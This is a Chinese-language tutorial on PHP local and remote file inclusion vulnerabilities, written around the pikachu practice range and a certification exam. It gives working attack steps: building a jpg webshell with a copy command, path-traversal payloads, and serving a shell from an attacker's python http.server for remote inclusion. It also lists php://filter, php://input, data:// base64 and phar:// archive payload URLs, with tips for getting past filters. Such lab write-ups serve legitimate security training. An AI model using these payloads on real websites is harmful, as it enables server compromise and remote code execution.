★文件包含漏洞

文件包含漏洞
概念: 把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,无需再次编写函数,这一调用文件的过程被称为包含。
原理:
文件包含漏洞产生的原因是在通过PHP函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
几乎所有的脚本语言都会提供文件包含功能,但是文件包含漏洞在PHP Web Application中居多,而在JSP,ASP,ASP.NET程序中却非常少,这是有些语言设计的弊端,在PHP中经常出现文件包含漏洞,但是并不意味着其他语言不存在。

File Inclusion(文件包含漏洞)概述

文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:

include(),include_once()

require(),require_once()

这些文件包含函数,这些函数在代码设计中被经常使用到。

大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:

1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击者更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。

2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。

因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。
文件包含函数
include()     //找不到被被包含文件时会产生警告(E_WARNING)
include_once()  //与include() 类似,代码已经被包含则不会再次包含
require()    //找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR)
require_once()  //与require() 类似,代码已经被包含则不会再次包含
利用条件:
1.include等函数通过动态执行变量的方式引入需要包含的文件
2.用户能控制该动态变量
这里可以先制作一张图片木马,准备一张图片和txt的含有一句话代码的木马。管理员权限进入cmd,找到该文件的目录。
输入相应的合并代码
copy /a 1.jpg + /b 3.txt = 3.jpg
此时第一步,一个图片木马就制作成功了!
接下来继续上传相应的图片木马,上传成功!(以下因为pikachu靶场问题可能会出错,可以删除掉文件中关于时间的限制。)
★文件包含漏洞_第1张图片将pikachu靶场该部分的内容uploads后面的多余关于时间的内容删除掉。改成如图所示
★文件包含漏洞_第2张图片 ★文件包含漏洞_第3张图片
★文件包含漏洞_第4张图片
本地文件包含
接下来任选一个提交:
★文件包含漏洞_第5张图片
修改的前提是需要知道具体的文件目录情况。
★文件包含漏洞_第6张图片
分析:该文件的目录是在vul下的fileinclude下的include下,所以我们需要重定向到我们的木马图片位置。
将file1.php 修改为  ../../unsafeupload/uploads/7237856153c903abdaa461640393.jpg
★文件包含漏洞_第7张图片
此时网页下翻就可以看到相应执行的效果了!!!
此时通过shell管理工具是可以成功链接到相应的jpg木马的。链接可以成功!!
远程文件包含
方式:在服务器上自己写一个一句话木马,然后用include去包含该服务器木马的地址即可。
由于是将服务器代码嵌入执行的,所以不论是php,还是jpg,txt都可以执行。
可以进入一个linux的虚拟机,在目录下创建一个a.txt的一句话木马文件。之后右键在终端打开。
★文件包含漏洞_第8张图片
之后执行一下代码即可开放访问(9999是开放的端口)
python3 -m http.server 9999
★文件包含漏洞_第9张图片
之后通过ifconfig查询ip地址,去url访问即可
★文件包含漏洞_第10张图片
(pikachu靶场需要先修改配置文件)
在php.ini 中搜索allow_url找到include,修改为on,重启即可 (这也是后续实战的时候成功与否的关键!!!)
★文件包含漏洞_第11张图片 ★文件包含漏洞_第12张图片
替换下图中的内容
★文件包含漏洞_第13张图片
将其修改为具体的地址即可: http://192.168.109.128:9999/a.txt
★文件包含漏洞_第14张图片
★文件包含漏洞_第15张图片
此时也就包含访问成功了!!!
此时通过shell管理工具也可以成功链接!!!
★文件包含漏洞_第16张图片
★文件包含漏洞_第17张图片PHP下的文件包含只能包含php文件或者txt等文本类的文件,因为其会把包含的文件当作php进行解析。其他文件没办法解析
本地文件包含:
#f.php
url:127.0.0.1/f.php?file=bao.php
url:127.0.0.1/f.php?file=./bao.php
#bao.php
远程文件包含:(可以把含一句话木马的测试网页放在公网上 然后文件包含就成功了)
​配置:php->php.ini->allow_url_include=On
http://127.0.0.1/f.php?file=http://www.baidu.com
伪协议
file://  访问本地文件系统
http://  访问http地址
ftp://  访问ftp
php://  访问输入输出流
zlib://  访问压缩流
data://  数据流
phar://   php归档
rar://   访问rar文件
ogg://  访问音频
expect://   处理交互式的流
用法1: (GET)
把相应目录下的文件不让其执行 以流的形式进行base64编码 再进行输出
http://127.0.0.1/f.php?file=php://filter/read=convert.base64-encode/resource=./bao.php
用法2:(借助工具burpSuite) (POST)(本质只是在一个临时网页执行写入的代码 所以不能再写入有传参性质的内容了)

 http://127.0.0.1/f.php?file=php://input

burp进行抓包
在抓到的包内容修改头为POST
然后下面加一句话木马写入即可
  
(也可以在火狐直接POST传一句话木马等内容)
post:   
post:   
post:   
用法3:使用data流
http://127.0.0.1/f.php?file=data://text/plain,
(如果防火墙对关键词进行了屏蔽)
PD9waHAgcGhwaW5mbygpPz4=
http://127.0.0.1/f.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
用法4:使用zip流 (待更新)
http://127.0.0.1/f.php?file=zip://c:/a.zip%23a.txt
用法5:使用phar流
http://xxxx.php?file=phar://upload/www.png/wwb
phar流可以将相应的文件以rar等压缩包的格式执行并且解压出里面的文件并且执行。
如果防火墙限制上传格式,那么除了可以上传图片马用php流进行包含执行以外,也可以把相应的php木马放到压缩包里面,
例如a.php放到b.rar中。然后改名为b.png等图片上传,上传成功以后,借助phar流可以把png图片当作rar执行并且解压,从而可以把rar中的a.php文件包含进来,也就是借助phar流包含压缩包马(如果网页会自动加php后缀,那就可以去掉.php即可)
http://xxx.com/include.php?file=phar://upload/b.png/a.php
远程文件包含实战方式:
方法1:(针对PTE)如果上一题是文件上传题目,可以在上传木马后记住木马的地址,因为是内网,所以可以直接文件包含到文件上传那题的木马的地址从而远程执行木马
方法2:本地开启Python的Web服务
python -m SimpleHTTPServer 8000
之后通过浏览器访问:
127.0.0.1:8000
通过访问到的目录确定你需要包含的本地木马所在的具体地址
然后ipconfig找到自己本机的同网段的IP地址,然后远程包含相应的木马即可
PS:如果PTE考题中出现情况:会自动在文件包含的后缀加上txt这种格式
那么可以尝试远程包含txt文件,把php代码放在txt文本中包含即可。因为不论是什么后缀,只要内容是木马内容即可,文件包含最终都会将其以php的形式执行

你可能感兴趣的:(Web安全,web安全,安全)